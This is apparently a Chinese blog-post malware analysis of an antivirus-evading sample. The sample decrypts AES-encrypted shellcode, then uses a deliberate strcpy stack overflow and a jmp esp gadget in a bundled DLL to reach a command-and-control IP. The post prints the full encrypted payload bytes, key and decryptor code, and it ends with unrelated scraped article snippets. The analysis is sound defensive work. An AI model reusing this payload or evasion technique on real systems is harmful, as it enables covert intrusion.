当前位置: 首页 > news >正文

免杀国内主流杀软的恶意样本分析

目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序在这里插入图片描述
在这里插入图片描述
动态执行,杀软也未拦截在这里插入图片描述
上传到virustotal网站分析恶意程序,只有三个引擎检测出来在这里插入图片描述
die分析恶意程序,未加壳,32位PE程序在这里插入图片描述
将恶意程序导入ida pro进行静态分析在这里插入图片描述
程序主函数伪代码很少,没有常见恶意程序使用的函数,首先程序往v15变量里导入了2012个A字符
在这里插入图片描述
然后定义了一个地址,通过查询,这个地址并未在当前程序中在这里插入图片描述
然后往v10变量里放入了很多0x90,0x90是汇编指令中的nop指令,NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作在这里插入图片描述
在这里插入图片描述
然后往pbData变量里传入了一串值,根据后面的分析,这一串值是解密shellcode的key在这里插入图片描述
在这里插入图片描述
v6,v8里的值就是payload在这里插入图片描述
在这里插入图片描述
这里程序调用了memcpy函数,拼接字符,并且是将payload拼接到了其中在这里插入图片描述
调用了__i3b_D2函数,将密钥和payload都导入了其中,是解密payload的函数在这里插入图片描述
aes的解密方式,说明payload是经过aes加密过的

在这里插入图片描述
然后将一大串nop指令和payload用memcpy函数copy到指定的变量里,最后调用了Function函数

只有一个strcpy函数在这里插入图片描述
程序主要的代码就这么多,还不知如何绕过杀软执行上线的

使用pe-bear分析程序在这里插入图片描述
导入了四个dll库,其中ADVAPI32.DLL,KENNEL32.DLL,msvcrt.dll都是程序编译时,系统自动绑定的dll,只有fun.dll是第三方dll,用ida分析fun.dll

找到exe程序中定义的地址,是一个jmp esp指令

在这里插入图片描述
这个dll的代码只有jmp esp这一个功能在这里插入图片描述
从程序里导出shellcode后解密

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, “crypt32.lib”)

void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {return;
}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {return;
}CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

}
int main(int argc, char argv[]) {
unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a };
unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
DWORD code_length = sizeof(payload);
aes_de((char
)code, code_length, key, sizeof(key));
printf(payload);在这里插入图片描述
使用scdbg分析shellcode,发现shellcode外连了一个ip,192.168.85.128,端口为8011,根据上面的浏览器http流量头,可以知道恶意程序使用的payload是msf或者cs生成的http payload

在这里插入图片描述
动态分析exe,使用System Informer监听后台,发现程序并没有启动其他的子程序

在这里插入图片描述
执行程序,在0x62501443地址处打一个断点在这里插入图片描述
用xdbg调试程序,运行到程序入口处在这里插入图片描述
F8一步一步查看程序,在下面程序跳转到了0x401658地址处在这里插入图片描述
在执行了memset函数时,堆栈里都被A覆盖了在这里插入图片描述
这里本来是要跳转到0x4017c6地址处的,但是直接跳转到了jmp esp指令地址处,程序被栈溢出后控制了返回地址在这里插入图片描述
在这里插入图片描述
执行jmp esp后,首先是一长串的NOP指令在这里插入图片描述
nop指令后面的就是aes解密后的payload指令在这里插入图片描述
现在知道了程序的执行流,恶意程序设置了一个存在栈溢出的函数,然后用strcpy函数触发栈溢出攻击,将jmp esp指令放到dll库里是为了固定指令地址,在不同环境上稳定运行,这里放上一个程序执行流程图在这里插入图片描述
通过流量监控,也找到恶意程序外连ip 192.168.85.128 端口8011

在这里插入图片描述
scdbg工具下载地址:

http://sandsprite.com/blogs/index.php?uid=7&pid=152

相关文章:

免杀国内主流杀软的恶意样本分析

目录下存在愤怒的小鸟.exe和fun.dll文件&#xff0c;最新版火绒&#xff0c;windows defender&#xff0c;腾讯电脑管家&#xff0c;360静态扫描都未发现恶意程序 动态执行&#xff0c;杀软也未拦截 上传到virustotal网站分析恶意程序&#xff0c;只有三个引擎检测出来 die分析…...

Cloudreve:Star22.3k,免费开源的网盘,支持多种存储方式,它允许用户快速搭建个人或团队的私有云存储服务。

嗨&#xff0c;大家好&#xff0c;我是小华同学&#xff0c;关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法 Cloudreve是一个基于Web的文件管理和分享系统&#xff0c;它允许用户快速搭建个人或团队的私有云存储服务。该项目以其高度的可定制性和灵活性&#x…...

【高内聚】设计模式是如何让软件更好做到高内聚的?

高内聚&#xff08;High Cohesion&#xff09;是指模块内部的元素紧密协作&#xff0c;共同完成一个明确且相对独立的功能。就像高效的小团队&#xff0c;成员们目标一致&#xff0c;相互配合默契。 低耦合&#xff08;Loose Coupling&#xff09;是指模块之间的依赖较少&#…...

第一个3D程序!

运行效果 CPP #include <iostream> #include <fstream> #include <string> #include <cmath>#include <GL/glew.h> #include <GLFW/glfw3.h> #include <glm/glm.hpp> #include <glm/gtc/type_ptr.hpp> #include <glm/gtc/…...

基础项目实战——学生管理系统(c++)

目录 前言一、功能菜单界面二、类与结构体的实现三、录入学生信息四、删除学生信息五、更改学生信息六、查找学生信息七、统计学生人数八、保存学生信息九、读取学生信息十、打印所有学生信息十一、退出系统十二、文件拆分结语 前言 这一期我们来一起学习我们在大学做过的课程…...

【PyTorch】6.张量形状操作:在深度学习的 “魔方” 里,玩转张量形状

目录 1. reshape 函数的用法 2. transpose 和 permute 函数的使用 4. squeeze 和 unsqueeze 函数的用法 5. 小节 个人主页&#xff1a;Icomi 专栏地址&#xff1a;PyTorch入门 在深度学习蓬勃发展的当下&#xff0c;PyTorch 是不可或缺的工具。它作为强大的深度学习框架&am…...

OpenEuler学习笔记(十六):搭建postgresql高可用数据库环境

以下是在OpenEuler系统上搭建PostgreSQL高可用数据环境的一般步骤&#xff0c;通常可以使用流复制&#xff08;Streaming Replication&#xff09;或基于Patroni等工具来实现高可用&#xff0c;以下以流复制为例&#xff1a; 安装PostgreSQL 配置软件源&#xff1a;可以使用O…...

记录一次Sqoop从MySQL导入数据到Hive问题的排查经过

个人博客地址:记录一次Sqoop从MySQL导入数据到Hive问题的排查经过 | 一张假钞的真实世界 问题描述 MySQL中原始数据有790W+的记录数,在Sqoop抽取作业成功的情况下在Hive中只有500W左右的记录数。 排查过程 数据导入脚本Log 通过Log可以发现以下信息: 该Sqoop任务被分解…...

什么是集成学习

什么是集成学习 集成学习是一种分布式机器学习框架&#xff0c;通过构建多个学习器并将其结合起来完成学习任务。由于在实际应用中单一的学习器往往不能达到理想的学习效果&#xff0c;且有时单一学习器会导致过拟合&#xff0c;因此使用多个学习器进行集成学习往往能够达到更好…...

VSCode+Continue实现AI辅助编程

Continue是一款功能强大的AI辅助编程插件&#xff0c;可连接多种大模型&#xff0c;支持代码设计优化、错误修正、自动补全、注释编写等功能&#xff0c;助力开发人员提高工作效率与代码质量。以下是其安装和使用方法&#xff1a; 一、安装VSCode 参见&#xff1a; vscode安…...

Springboot如何使用面向切面编程AOP?

Springboot如何使用面向切面编程AOP? 在 Spring Boot 中使用面向切面编程&#xff08;AOP&#xff09;非常简单&#xff0c;Spring Boot 提供了对 AOP 的自动配置支持。以下是详细的步骤和示例&#xff0c;帮助你快速上手 Spring Boot 中的 AOP。 1. 添加依赖 首先&#xff…...

ThreadLocal源码解析

文章目录 一、概述二、get()方法三、set()方法四、可能导致的内存泄漏问题五、remove六、思考&#xff1a;为什么要将ThreadLocalMap的value设置为强引用&#xff1f; 一、概述 ThreadLocal是线程私有的&#xff0c;独立初始化的变量副本。存放在和线程进行绑定的ThreadLocalMa…...

Maven的单元测试

1. 单元测试的基本概念 单元测试&#xff08;Unit Testing&#xff09; 是一种软件测试方法&#xff0c;专注于测试程序中的最小可测试单元——通常是单个类或方法。通过单元测试&#xff0c;可以确保每个模块按预期工作&#xff0c;从而提高代码的质量和可靠性。 2.安装和配…...

深度学习 Pytorch 深层神经网络

在之前已经学习了三种单层神经网络&#xff0c;分别为实现线性方程的回归网络&#xff0c;实现二分类的逻辑回归&#xff08;二分类网络&#xff09;&#xff0c;以及实现多分类的softmax回归&#xff08;多分类网络&#xff09;。从本节开始&#xff0c;我们将从单层神经网络展…...

【python】三帧差法实现运动目标检测

三帧差法是一种常用的运动目标检测方法&#xff0c;它通过比较连续三帧图像之间的差异来检测运动物体。这种方法尤其适用于背景变化较小的场景。 目录 1 方案 2 实践 ① 代码 ② 效果图 1 方案 具体步骤如下&#xff1a; ① 读取视频流&#xff1a;使用cv2.VideoCapture()…...

机器人抓取与操作经典规划算法(深蓝)——2

1 经典规划算法 位姿估计&#xff1a;&#xff08;1&#xff09;相机系位姿 &#xff08;2&#xff09;机器人系位姿 抓取位姿&#xff1a;&#xff08;1&#xff09;抓取位姿计算 &#xff08;2&#xff09;抓取评估和优化 路径规划&#xff1a;&#xff08;1&#xff09;笛卡…...

WGCLOUD服务器资源监控软件使用笔记 - Token is error是什么错误

[wgcloud-agent]2025/01/30 10:41:30 WgcloudAgent.go:90: 主机监控信息上报server开始 [wgcloud-agent]2025/01/30 10:41:30 WgcloudAgent.go:99: 主机监控信息上报server返回信息: {"result":"Token is error"} 这个错误是因为agent配置的wgToken和serv…...

在排序数组中查找元素的第一个和最后一个位置(力扣)

一.题目介绍 二.题目解析 使用二分进行查找 2.1处理边界情况 如果数组为空&#xff0c;直接返回 [-1, -1]&#xff0c;因为无法找到目标值。 int[] ret new int[2]; ret[0] ret[1] -1; if (nums.length 0) return ret; 2.2查找左端点&#xff08;目标值开始位置&#…...

Kafka的消息协议

引言 在学习MQTT消息协议的时候我常常思考kafka的消息协议是什么&#xff0c;怎么保证消息的可靠性和高性能传输的&#xff0c;接下来我们一同探究一下 Kafka 在不同的使用场景和组件交互中用到了多种协议&#xff0c;以下为你详细介绍&#xff1a; 内部通信协议 Kafka 使用…...

Vue 3 30天精进之旅:Day 09 - 组合式API

在Vue 3中&#xff0c;组合式API&#xff08;Composition API&#xff09;是一个引入的新特性&#xff0c;它为开发者提供了一种更灵活的方式来构建和组织组件。与传统的选项API相比&#xff0c;组合式API更注重逻辑的复用和逻辑的组合&#xff0c;让我们更容易处理大型应用中的…...

Day28(补)-【AI思考】-AI会不会考虑自己的需求?

文章目录 AI会不会考虑自己的需求&#xff1f;一、**技术本质&#xff1a;深度≠理解**二、**传播机制&#xff1a;热搜如何制造幻觉**三、**伦理考量&#xff1a;为何必须"撇清"**关键结论 AI会不会考虑自己的需求&#xff1f; 让思想碎片重焕生机的灵魂&#xff1a…...

JavaScript 进阶(下)

原型 what 首先&#xff0c;构造函数通过原型分配的函数是所有对象所 共享的。 然后&#xff0c;JavaScript 规定&#xff0c;每一个构造函数都有一个 prototype 属性&#xff0c;指向另一个对象&#xff0c;所以我们也称为原型对象 这个对象可以挂载函数&#xff0c;对象实…...

selenium自动化测试框架——面试题整理

目录 1. 什么是 Selenium&#xff1f;它的工作原理是什么&#xff1f; 2. Selenium 主要组件 3. 常见 WebDriver 驱动 4. Selenium 如何驱动浏览器&#xff1f; 5. WebDriver 协议是什么&#xff1f; 6. Page Object 模式与 Page Factory 7. 如何判断元素是否可见&#x…...

CF1098F Ж-function

【题意】 给你一个字符串 s s s&#xff0c;每次询问给你 l , r l, r l,r&#xff0c;让你输出 s s s l , r sss_{l,r} sssl,r​中 ∑ i 1 r − l 1 L C P ( s s i , s s 1 ) \sum_{i1}^{r-l1}LCP(ss_i,ss_1) ∑i1r−l1​LCP(ssi​,ss1​)。 【思路】 和前一道题一样&#…...

数据库备份、主从、集群等配置

数据库备份、主从、集群等配置 1 MySQL1.1 docker安装MySQL1.2 主从复制1.2.1 主节点配置1.2.2 从节点配置1.2.3 创建用于主从同步的用户1.2.4 开启主从同步1.2.4 主从同步验证 1.3 主从切换1.3.1 主节点设置只读&#xff08;在192.168.1.151上操作&#xff09;1.3.2 检查主从数…...

电脑要使用cuda需要进行什么配置

在电脑上使用CUDA&#xff08;NVIDIA的并行计算平台和API&#xff09;&#xff0c;需要进行以下配置和准备&#xff1a; 1. 检查NVIDIA显卡支持 确保你的电脑拥有支持CUDA的NVIDIA显卡。 可以在NVIDIA官方CUDA支持显卡列表中查看显卡型号是否支持CUDA。 2. 安装NVIDIA显卡驱动…...

【Unity3D】实现横版2D游戏——攀爬绳索(简易版)

目录 GeneRope.cs 场景绳索生成类 HeroColliderController.cs 控制角色与单向平台是否忽略碰撞 HeroClampController.cs 控制角色攀爬 OnTriggerEnter2D方法 OnTriggerStay2D方法 OnTriggerExit2D方法 Update方法 开始攀爬 结束攀爬 Sensor_HeroKnight.cs 角色触发器…...

JS 时间格式大全(含大量示例)

在 JS 中&#xff0c;处理时间和日期是常见的需求。无论是展示当前时间、格式化日期字符串&#xff0c;还是进行时间计算&#xff0c;JavaScript 都提供了丰富的 API 来满足这些需求。本文将详细介绍如何使用 JavaScript 生成各种时间格式&#xff0c;从基础到高级&#xff0c;…...

opencv裁剪视频区域

import cv2 # 打开视频文件 video_path input.mp4 cap cv2.VideoCapture(video_path) # 获取视频的帧率、宽度和高度 fps int(cap.get(cv2.CAP_PROP_FPS)) width int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) height int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) # 定义裁剪区…...

C++ deque(1)

1.deque介绍 deque的扩容不像vector那样麻烦 直接新开一个buffer 不用重新开空间再把数据全部移过去 deque本质上是一个指针数组和vector<vector>不一样&#xff0c;vector<vector>本质上是一个vector对象数组&#xff01;并且vector<vector>的buffer是不一…...

MapReduce概述

目录 1. MapReduce概述2. MapReduce的功能2.1 数据划分和计算任务调度2.2 数据/代码互定位2.3 系统优化2.4 出错检测和恢复 3. MapReduce处理流程4. MapReduce编程基础参考 1. MapReduce概述 MapReduce是面向大数据并行处理的计算模型、框架和平台:   1. 基于集群的高性能并行…...

DOM操作中childNodes与children的差异及封装方案

引言 在JavaScript的DOM操作中&#xff0c;childNodes和children是开发者常用的属性&#xff0c;但它们在浏览器中的行为差异可能导致兼容性问题。尤其是在处理空白符&#xff08;如换行符\n&#xff09;时&#xff0c;某些浏览器&#xff08;如Chrome和Edge&#xff09;会将空…...

在线课堂小程序设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…...

分布式系统架构怎么搭建?

分布式系统架构 互联网企业的业务飞速发展&#xff0c;促使系统架构不断变化。总体来说&#xff0c;系统架构大致经历了单体应用架构—垂直应用架构—分布式架构—SOA架构—微服务架构的演变&#xff0c;很多互联网企业的系统架构已经向服务化网格&#xff08;Service Mesh&am…...

大模型知识蒸馏技术(2)——蒸馏技术发展简史

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl2006年模型压缩研究 知识蒸馏的早期思想可以追溯到2006年,当时Geoffrey Hinton等人在模型压缩领域进行了开创性研究。尽管当时深度学习尚未像今天这样广泛普及,但Hinton的研究已经为知识迁移和模…...

C++初阶 -- 泛型编程(函数模板、类模板)入门

目录 一、泛型编程 1.1 介绍 二、函数模板 2.1 函数模板的概念 2.2 函数模板的格式 2.3 函数模板的原理 2.4 函数模板的实例化 2.4.1 隐式实例化 2.4.2 显式实例化 2.5 模板参数的匹配原则 三、类模板 3.1 类模板的使用格式 3.2 类模板的实例化 一、泛型编程 在有…...

[EAI-027] RDT-1B: a Diffusion Foundation Model for Bimanual Manipulation

Paper Card 论文标题&#xff1a;RDT-1B: a Diffusion Foundation Model for Bimanual Manipulation 论文作者&#xff1a;Songming Liu, Lingxuan Wu, Bangguo Li, Hengkai Tan, Huayu Chen, Zhengyi Wang, Ke Xu, Hang Su, Jun Zhu 论文链接&#xff1a;https://arxiv.org/ab…...

MongoDB常见的运维工具总结介绍

MongoDB 提供了一些强大的运维工具&#xff0c;帮助管理员进行数据库监控、备份、恢复、性能优化等操作。以下是一些常见的 MongoDB 运维工具及其功能介绍&#xff1a; 1. MongoDB Atlas 功能&#xff1a;MongoDB Atlas 是 MongoDB 官方的云托管数据库服务&#xff0c;它提供…...

dify实现原理分析-rag-数据检索的实现

数据检索的总体执行步骤 数据检索总体步骤如下&#xff1a; #mermaid-svg-YCRNdSE7T1d0Etyj {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-YCRNdSE7T1d0Etyj .error-icon{fill:#552222;}#mermaid-svg-YCRNdSE7T1d…...

20个整流电路及仿真实验汇总

0、 前言 以下是关于“20个整流电路及仿真实验汇总”的前言部分: 在现代电力电子技术领域,整流电路作为将交流电(AC)转换为直流电(DC)的关键电路,广泛应用于各类电源设计、信号处理以及电力电子设备中。整流电路不仅能够为电子设备提供稳定的直流电源,还在电力传输、…...

CVE-2020-0796永恒之蓝2.0(漏洞复现)

目录 前言 产生原因 影响范围 漏洞复现 复现环境 复现步骤 防御措施 总结 前言 在网络安全的战场上&#xff0c;漏洞一直是攻防双方关注的焦点。CVE-2020-0796&#xff0c;这个被称为 “永恒之蓝 2.0” 的漏洞&#xff0c;一度引起了广泛的关注与担忧。它究竟是怎样的…...

爬虫基础(一)HTTP协议 :请求与响应

前言 爬虫需要基础知识&#xff0c;HTTP协议只是个开始&#xff0c;除此之外还有很多&#xff0c;我们慢慢来记录。 今天的HTTP协议&#xff0c;会有助于我们更好的了解网络。 一、什么是HTTP协议 &#xff08;1&#xff09;定义 HTTP&#xff08;超文本传输协议&#xff…...

拼车(1094)

1094. 拼车 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a; class Solution { public:bool carPooling(vector<vector<int>>& trips, int capacity) {uint32_t passenger_cnt 0;//将原数据按照from排序auto func_0 [](vector<int> & …...

Ubuntu全面卸载mysql

如果你已经看到whereis mysql输出了与MySQL相关的路径&#xff0c;说明MySQL仍然存在于系统中。要卸载MySQL&#xff0c;可以按照以下步骤操作&#xff0c;确保完全删除所有相关的文件和配置&#xff1a; 1. 停止MySQL服务 首先&#xff0c;停止MySQL服务&#xff1a; sudo …...

@Inject @Qualifier @Named

Inject Qualifier Named 在依赖注入&#xff08;DI&#xff09;中&#xff0c;Inject、Qualifier 和 Named 是用于管理对象创建和绑定的关键注解。以下是它们的用途、依赖配置和代码示例的详细说明&#xff1a; 1. 注解的作用 Inject&#xff1a;标记需要注入的构造函数、字段…...

OpenHarmonyOS 3.2 编译生成的hap和app文件的名称如何配置追加版本号?

找了一圈发现官方的文档都是最新的&#xff0c;3.2很多API都不支持&#xff0c;比如获取OhosAppContext&#xff0c;通过OhosAppContext来获取应用版本号&#xff0c;最终是通过读取app.json5的文件内容来读取版本号&#xff0c;最终修改entry下的hvigorfile.ts如下&#xff0c…...

初始化mysql报错cannot open shared object file: No such file or directory

报错展示 我在初始化msyql的时候报错&#xff1a;mysqld: error while loading shared libraries: libaio.so.1: cannot open shared object file: No such file or directory 解读&#xff1a; libaio包的作用是为了支持同步I/O。对于数据库之类的系统特别重要&#xff0c;因此…...

Vue.js组件开发-实现全屏背景图片滑动切换特效

使用 Vue 实现全屏背景图片滑动切换特效的详细步骤、代码、注释和使用说明。 步骤 创建 Vue 项目&#xff1a;使用 Vue CLI 创建一个新的 Vue 项目。准备图片资源&#xff1a;准备好要用于背景切换的图片&#xff0c;并将它们放在项目的合适目录下。编写 HTML 结构&#xff1…...

AI在自动化测试中的伦理挑战

在软件测试领域&#xff0c;人工智能&#xff08;AI&#xff09;已经不再是遥不可及的未来技术&#xff0c;而是正在深刻影响着测试过程的现实力量。尤其是在自动化测试领域&#xff0c;AI通过加速测试脚本生成、自动化缺陷检测、测试数据生成等功能&#xff0c;极大提升了测试…...

FreeRTOS的任务创建和删除

1&#xff0c;任务创建和删除的API函数 任务的创建和删除本质就是调用FreeRTOS的API函数 动态创建任务&#xff1a; 任务的任务控制块以及任务的栈空间所需的内存&#xff0c;均由 FreeRTOS 从 FreeRTOS 管理的堆中分配。 静态创建任务&#xff1a; 任务的任务控制块以及任务的…...